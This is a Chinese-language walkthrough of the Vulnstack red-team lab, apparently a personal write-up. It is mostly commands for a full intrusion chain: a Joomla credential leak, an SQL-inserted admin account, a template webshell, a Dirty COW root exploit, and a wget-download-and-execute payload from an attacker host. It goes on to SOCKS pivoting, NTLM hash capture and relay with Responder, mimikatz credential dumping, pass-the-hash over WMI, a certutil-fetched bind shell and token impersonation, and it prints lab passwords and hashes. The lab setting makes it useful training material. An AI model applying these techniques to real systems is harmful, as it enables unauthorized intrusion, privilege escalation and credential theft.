- 环境准备
- 添加网卡
- 配置网络
- 启动网络服务
- 验证
- 通过scp上传
- 同样使用scp上传ew
- 分别在两台机器执行
- Kali
- Centos
- 提示权限不够就加执行权限
- chmod +x ew_for_linux64
- apt install freetds-bin
- 禁用SMB和HTTP服务,将对应选项修改为Off
- 开启监听
- 运行MultiRelay
- MSSQL触发UNC
- https://github.com/SecureAuthCorp/impacket">git clone https://github.com/SecureAuthCorp/impacket
- cd impacket/ && python3 -m pip install .
- NTLM Hash
- 明文密码
- wwwuser_123Aqx
- 问题
- 参考
环境准备
靶场环境:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/ 打开虚拟机镜像为挂起状态,开启后第一时间进行快照,部分服务未做自启,重启后无法自动运行。
开机之前需要先添加一个192.168.93.0/24
的桥接网卡作为内部网络:
- Win:
VMware > 编辑 > 虚拟网络编辑器 > 添加网络
- Mac:
VMware > 偏好设置 > 网络 > 解锁后添加
,也可以通过命令如下添加: ```bash添加网卡
$ sudo vim /Library/Preferences/VMware\ Fusion/networking answer VNET_2_DHCP yes answer VNET_2_HOSTONLY_NETMASK 255.255.255.0 answer VNET_2_HOSTONLY_SUBNET 192.168.93.0 answer VNET_2_VIRTUAL_ADAPTER yes
配置网络
$ sudo /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli —configure
启动网络服务
$ sudo /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli —start
验证
$ ifconfig
添加完网卡后打开虚拟机会连接到VMnet2网卡(如果没有就手动连一下)。其中`Web-Centos`为出网机,需要重新获取IP,然后Ping测试一下各主机连通性
```bash
# 获取IP
$ service network restart
# 连通测试
$ ping 192.168.93.10
$ ping 192.168.93.20
$ ping 192.168.93.30
IP | 备注 | |
---|---|---|
Web-Centos | 192.168.111.10/ 192.168.93.100 | 出网机 |
Web-Ubuntu | 192.168.93.120 | Nginx反代 |
Win2012 | 192.168.93.10 | 域控(test.org) |
Win2008 | 192.168.93.20 | 域用户 |
Win7 | 192.168.93.30 | 域用户 |
Kali | 192.168.111.2 | 攻击机 |
外网打点
信息收集
- 端口扫描一下,发现开启
22/80/3306
等端口,其中80
端口存在Joomla CMS
,通过浏览器访问 ```bash $ nmap 192.168.111.10 -T4 -A -sV

- 使用`Joomscan`进行漏洞扫描
```bash
$ joomscan -u <URL>
# 如果没有需要先安装
$ apt install joomscan
- 未找到可利用的漏洞,但发现一个配置文件
configuration.php~
,访问得到数据库账号密码 ```php public $dbtype = ‘mysqli’; public $host = ‘localhost’; public $user = ‘testuser’; public $password = ‘cvcvgjASD!@’; public $db = ‘joomla’; public $dbprefix = ‘am2zu_’; public $live_site = ‘’; public $secret = ‘gXN9Wbpk7ef3A4Ys’;

- 使用Navicat尝试连接

<a name="Z05Sd"></a>
### 添加管理员账号
- 进入数据库后找到`am2zu_users`表,该表存放了管理员账号密码,但是密文未能破解。这里参考[官方文档 - 如何恢复或重置管理员密码](https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn)来添加用户,注意需要修改表名前缀为`am2zu_`
```sql
-- 账号密码为:admin2/secret
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
然后访问管理员后台:
/administrator/
,使用admin2/secret
进行登录模板Getshell
后台中依次访问
Extensions > Templates > Templates
,选择模板进入并点击New File
,输入一句话木马后保存
- 这里选择的模板为
Beez3
,所以对应的木马路径为:/templates/beez3/a.php
。使用蚁剑进行连接,连上后发现无法执行命令
disable_functions
- 再次新建模板,写入
phpinfo
进行查看,发现设置了disable_functions
```php <?php phpinfo(); ?>
- 可以通过蚁剑的插件`绕过disable_functions`来绕过,选择`LD_PRELOAD`模式
- 注意:启动的WebServer根目录需要和木马文件所在目录一致

- 点击开始后会在目标网站生成`.antproxy.php`和`/tmp/.ant_x64.so`两个文件,使用蚁剑连接`.antproxy.php`文件,密码和前面木马文件一样,连接后即可执行命令。收集下信息:
- 权限为`www`的`Ubuntu`主机,IP为`192.168.93.120`

- 通过翻文件发现`/tmp/mysql/test.txt`

- 尝试SSH连接
```bash
$ ssh wwwuser@192.168.111.10
# wwwuser_123Aqx
- 通过查看
/etc/nginx/nginx.cong
文件,可以看到Nginx反代标志proxy_pass
,即当前Centos
主机对外提供了Nginx反代,该主机上的Nginx将流量转发给Ubuntu
主机192.168.93.120
,所以前面GetShell的Ubuntu
主机才是真正的Web服务器。
权限提升
- 使用脏牛提权:https://github.com/FireFart/dirtycow.git ```bash $ git clone https://github.com/FireFart/dirtycow.git
通过scp上传
$ scp ./dirty.c wwwuser@192.168.111.10:/home/wwwuser

- 在目标机器上编译并执行
```bash
$ gcc -pthread dirty.c -o dirty -lcrypt
$ ./dirty <New-Password>
- 此时会生成一个新用户
firefart
,密码为设置的密码 ```bash $ su firefart
<a name="qdygk"></a>
### 上线MSF
- 这里用到MSF的`web_delivery`模块,此模块支持在本地监听一个端口,其他机器一旦访问该端口就会将该端口内的文件读取至本地执行
```bash
msf6> use exploit/multi/script/web_delivery
msf6> set target 7
msf6> set payload linux/x64/meterpreter/reverse_tcp
msf6> set lhost 192.168.111.2
msf6> set lport 9999
msf6> exploit
- 在目标机器执行 ```bash $ wget -qO gHrucc8n —no-check-certificate http://192.168.111.2:8080/zXJRBY; chmod +x gHrucc8n; ./gHrucc8n& disown

<a name="BWne9"></a>
### 路由转发和代理
- MSF配置路由转发
```bash
# Background
$ route add 192.168.93.0 255.255.255.0 1
$ route print
- MSF配置路由转发只能将msfconsole带进内网,如果使用其它工具,还需要配置Socks代理。MSF6中可使用
auxiliary/server/socks_proxy
模块(之前是auxiliary/server/socks4a
) ```bash msf6> use auxiliary/server/socks_proxy msf6> set srvport 1080 msf6> set version 4a msf6> run

- Kali配置`proxychains4`。如果使用时出现`socks error or timeout`,需要检查配置
```bash
$ vim /etc/proxychains4.conf
# 最后一行修改为
socks4 127.0.0.1 1080
# 后续就可以通过 proxychains4 <CMD> 执行命令来将程序代理进内网
- 也可以使用ew工具,Kali和目标机器Centos都是Linux,因此下载
ew_for_linux64
即可 ```bash同样使用scp上传ew
$ scp ew_for_linux64 wwwuser@192.168.111.10:/home/wwwuser/
分别在两台机器执行
Kali
$ ./ew_for_linux64 -s rcsocks -l 1080 -e 8888
Centos
$ ./ew_for_linux64 -s rssocks -d
提示权限不够就加执行权限
chmod +x ew_for_linux64

<a name="EuI3y"></a>
## 内网渗透
<a name="f4rAR"></a>
### 信息收集
<a name="Fd4sI"></a>
#### 存活探测
- UDP探测:`auxiliary/scanner/discovery/udp_probe`
```bash
msf6> use auxiliary/scanner/discovery/udp_probe
msf6> set rhosts 192.168.93.1/24
msf6> run
- SMB探测:
auxiliary/scanner/smb/smb_version
```bash msf6> use auxiliary/scanner/smb/smb_version msf6> set rhosts 192.168.93.1/24 msf6> run

- 经过探测,发现目标网段存在`TEST`域,其中`10/20/30`三台机器存活,对其进行端口扫描
```bash
$ proxychains4 nmap -Pn -sT -sV 192.168.93.10 192.168.93.20 192.168.93.30 -F
横向移动
有几个打法:MSSQL NTLM Stealer、SMB爆破、NTLM Relay。这里使用的是MSSQL NTLM Stealer
- 前面探测到
192.168.93.20
这台机开启了1433
端口,尝试进行连接。账号密码则使用前面Joomla CMS
那个配置文件中收集到的:testuser / cvcvgjASD!@
```bashapt install freetds-bin
$ proxychains4 tsql -S 192.168.93.20 -U testuser

<a name="kyss9"></a>
#### Responder环境配置
- 在Centos使用工具[Responder](https://github.com/lgandx/Responder)进行监听
- 这个工具的最新版本需要Python3,但运行后发现报错`No module named _ssl`。原因是Python3支持OpenSSL版本最低为`1.0.2`,而该Centos系统比较老,自带的Openssl版本为`1.0.1`。所以需要安装更高版本的OpenSSL
- 首先下载下面几个工具,通过`scp`上传到服务器
- OpenSSL: [https://www.openssl.org/source/openssl-1.1.1g.tar.gz](https://www.openssl.org/source/openssl-1.1.1g.tar.gz)
- Python3: [https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz](https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz)
- Responder: [https://github.com/lgandx/Responder](https://github.com/lgandx/Responder)
```bash
$ scp openssl-1.1.1g.tar.gz wwwuser@192.168.111.10:/home/wwwuser
$ scp Python-3.6.9.tgz wwwuser@192.168.111.10:/home/wwwuser
$ scp -r Responder/ wwwuser@192.168.111.10:/home/wwwuser
# wwwuser_123Aqx
# 安装OpenSSL
$ tar -zxvf openssl-1.1.1g.tar.gz && cd openssl-1.1.1g/
$ ./config --prefix=/usr/local/openssl shared zlib
$ make && make install
$ echo 'export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/openssl/lib' >> ~/.bash_profile
$ source ~/.bash_profile
# 安装Python3
$ tar -zxvf Python-3.6.9.tgz && cd Python-3.6.9/
$ ./configure prefix=/usr/local/python3 --with-openssl=/usr/local/openssl
$ make && make install
$ echo '
#配置python
export PYTHON_HOME=/usr/local/python3
export PATH=$PYTHON_HOME/bin:$PATH' >> ~/.bash_profile
$ source ~/.bash_profile
# 测试
$ python3
>> import ssl
>> import ctypes
# 没有报错即为成功
# 安装依赖
$ pip3 install netifaces six pycryptodome pycryptodomex
Net-NTLM Hash
Net-NTLM Hash并不能直接用来PTH,但有可能通过暴力破解来获取明文密码
- 运行Responder ```bash $ python3 Responder.py -I eth1 -Pv

- Kali中使用`auxiliary/admin/mssql/mssql_ntlm_stealer`,执行`xp_dirtree`,触发UNC
```bash
# testuser / cvcvgjASD!@
msf6> use auxiliary/admin/mssql/mssql_ntlm_stealer
msf6> set RHOSTS 192.168.93.20
msf6> set SMBPROXY 192.168.93.100
msf6> set USERNAME testuser
msf6> set PASSWORD cvcvgjASD!@
msf6> exploit
- 利用成功,此时可以看到已经获取到了NTLMv2-Hash ```bash [SMB] NTLMv2-SSP Client : 192.168.93.20 [SMB] NTLMv2-SSP Username : WIN2008\Administrator [SMB] NTLMv2-SSP Hash : Administrator::WIN2008:1122334455667788:C21D87D20B23AE44F82D4B4A41D9491C:010100000000000068E94DEE7E1ED801670BA94B6A3AF3B00000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030003000000000000000000000000030000011C4314A8F10C5B6E59317CE9DBBCF8859B4494BEA8E251FCE09E150BA4F27F40000000000000000

- 可以用Hashcat进行暴力破解,得到密码为:`123qwe!ASD`
```bash
# 查看支持的Mode,这里NTLMv2的Mode为5600
$ hashcat --example-hashes | less
# 暴力破解
$ hashcat -m 5600 hash.txt top1000.txt --force
MultiRelay中继攻击
没爆破出来可以尝试中继Win2008打Win7,发现Win2008的administrator凭据可以中继到Win7,所以可知Win2008和Win7的本地administrator密码相同。参考:https://xz.aliyun.com/t/6988#toc-4
- 运行前需要编译相关工具,这里我在另一台机器完成并上传 ```bash $ apt-get install gcc-mingw-w64-x86-64 $ x86_64-w64-mingw32-gcc ./MultiRelay/bin/Runas.c -o ./MultiRelay/bin/Runas.exe -municode -lwtsapi32 -luserenv $ x86_64-w64-mingw32-gcc ./MultiRelay/bin/Syssvc.c -o ./MultiRelay/bin/Syssvc.exe -municode

- 上传到`Responder/tools/MultiRelay/bin/`目录,同时上传一个`mimikatz.exe`
```bash
$ scp Runas.exe wwwuser@192.168.111.10:/home/wwwuser/Responder/tools/MultiRelay/bin
$ scp Syssvc.exe
wwwuser@192.168.111.10:/home/wwwuser/Responder/tools/MultiRelay/bin
$ scp mimikatz.exe wwwuser@192.168.111.10:/home/wwwuser/Responder/tools/MultiRelay/bin
# wwwuser_123Aqx
开启监听
$ python3 Responder.py -I eth1 -v -F
运行MultiRelay
$ python3 MultiRelay.py -t 192.168.93.30 -u ALL
MSSQL触发UNC
msf6> exploit

- 此时已经获取到Win7的Shell了,然后使用`mimikatz`抓取明文密码。我这里使用mimikatz抓取时一直卡着不动,原因未知。
```bash
$ mimi "privilege::debug"
$ mimi "sekurlsa::logonpasswords"
但是可以通过
dump
来获得NTLM Hash
,存储在Responder/tools/MultiRelay/relay-dumps
目录下Administrator:500:aad3b435b51404eeaad3b435b51404ee:31c1794c5aa8547c87a8bcd0324b8337:::
WMI连接
无论是否获得明文密码,都可以通过impacket的
wmiexec.py
进行连接 ```bashgit clone https://github.com/SecureAuthCorp/impacket
cd impacket/ && python3 -m pip install .
NTLM Hash
$ proxychains4 python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31c1794c5aa8547c87a8bcd0324b8337 administrator@192.168.93.20
明文密码
$ proxychains4 python3 wmiexec.py ‘administrator:123qwe!ASD@192.168.93.20’

<a name="b7Klt"></a>
### 攻击域控-0
> 未知Win2008明文密码,使用NTLM Hash通过WMI连接到Win2008,然后获取正向Shell,通过进程迁移提权后读取文件
- MSF生成一个正向shell木马,并开启监听
```bash
$ msfvenom -p windows/meterpreter/bind_tcp -f exe -o bind.exe
msf6> use exploit/multi/handler
msf6> set PAYLOAD windows/meterpreter/bind_tcp
msf6> set RHOST 192.168.93.20
msf6> set LPORT 4444 # 前面生成木马时若不指定端口,则默认是这个
msf6> exploit
- 通过SCP上传到Centos,然后在Centos上开启HTTP服务
```bash
$ scp bind.exe wwwuser@192.168.111.10:/home/wwwuser/
wwwuser_123Aqx
$ python3 -m http.server 8080
- 通过前面的WMI连接到win2008,下载并执行木马
```bash
$ proxychains4 python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31c1794c5aa8547c87a8bcd0324b8337 administrator@192.168.93.20
$ certutil -urlcache -split -f http://192.168.93.100:8080/bind.exe
$ bind.exe
- 上线之后执行
ps
,发现存在域管用户的进程,进程迁移 ```bash meterpreter> ps meterpreter> migrate 3800 meterpreter> shell $ whoami

- 最后读取文件。这里不知道为什么报错`The network path was not found.`,根据其它参考文章是可以直接读取到的,有点玄学。
```bash
$ type \\192.168.93.10\C$\Users\Administrator\Documents\flag.txt
$ type \\192.168.93.10\Admin$\Users\Administrator\Documents\flag.txt
攻击域控-1
已知Win2008明文密码,通过令牌窃取提权后读取文件
- 定位域控 ```bash $ ipconfig /all
- 上传[incognito.exe](https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip)
```bash
$ proxychains4 smbclient -L 192.168.93.20 -U administrator
$ proxychains4 smbclient //192.168.93.20/ADMIN$ -U administrator
$ put incognito.exe
- 列出令牌 ```bash $ cd Windows/ $ incognito.exe list_tokens -u

- 模拟域管用户,将目标文件复制到本地
```bash
$ incognito.exe execute -c "TEST\administrator" "cmd /c copy \\192.168.93.10\C$\users\administrator\Documents\flag.txt C:\Windows\flag.txt"
攻击域控-2
已知Win2008明文密码,使用mimikatz抓取域管密码,然后通过IPC连接域控读取文件
- 上传mimikatz。使用
smbclient
连接并上传 ```bash $ proxychains4 smbclient -L 192.168.93.20 -U administrator $ proxychains4 smbclient //192.168.93.20/ADMIN$ -U administrator $ put mimikatz.exe

- 获得`TEST\administrator`密码:`zxcASDqw123!`
```bash
$ cd Windows
$ mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > pwd.log
- IPC连接域控 ```bash $ net use \192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator $ dir \192.168.93.10\C$\users\administrator\Documents\flag.txt
问题
使用Responder工具那部分踩的坑最多,后来发现原生环境Python2.6+
Responder
旧仓库的2.3.0
版本可以运行,但是这个版本没有MultiRelay.py
,最后折腾一番安装Python3+lgandx/Responder成功解决。
- 一开始根据Vlunstack ATT&CK实战系列——红队实战(三)Writeup中的解法二,下载改版过的Responder工具lgandx/Responder的最新版本,Python2下运行需要
Python-netifaces
库,目标环境的yum有点问题,经换源、rpm离线安装等方式都没有成功;Python3下运行提示缺少ssl
库,并且使用pip3安装的时候提示SSLError
等等; - 后来看到参考文章中使用的是
v2.3.4.0
版本,于是再次下载并上传。这个版本只支持Python2,但是运行后提示缺少python-sqlite3
插件,使用pip
安装提示找不到sqlite3
库;后根据文章python2.7安装sqlite3模块,进行离线安装sqlite3
并重新安装Python2,仍然无效…; - 最后在打算放弃的时候,在lgandx/Responder仓库看到
forked from SpiderLabs/Responder
,于是下载了原作者SpiderLabs/Responder/的最新版本,传上去后成功运行。但是进行下一步中继时发现没有MultiRelay.py
,继续折腾; - 最后的最后找到Python3版本报错
No module named _ssl
的原因,即第一点提到的SSLError
错误。因为Python3支持OpenSSL版本最低为1.0.2
,而该Centos系统比较老,自带的Openssl版本为1.0.1
。所以需要安装更高版本的OpenSSL,最终解决。 还有一些零碎的问题没有记录。
- 例如目标环境原Python版本为
2.6.6
,无法通过get-pip.py
安装pip,后找到官方https://bootstrap.pypa.io/pip/2.6/get-pip.py,也发现已经404,最后在官方仓库https://github.com/pypa/get-pip/blob/20.1/2.6/get-pip.py才找到安装脚本。 - 还有就是安装Python2.7时在
make
这一步一直checking
,等了十多分钟后手动终止。经查询发现原来是时间没对上,手动修改时间后正常。参考
- 例如目标环境原Python版本为
- 记一次Vulnstack靶场内网渗透(四)
- ATT&CK实战系列——红队实战(三)
- python3报错No module named _ssl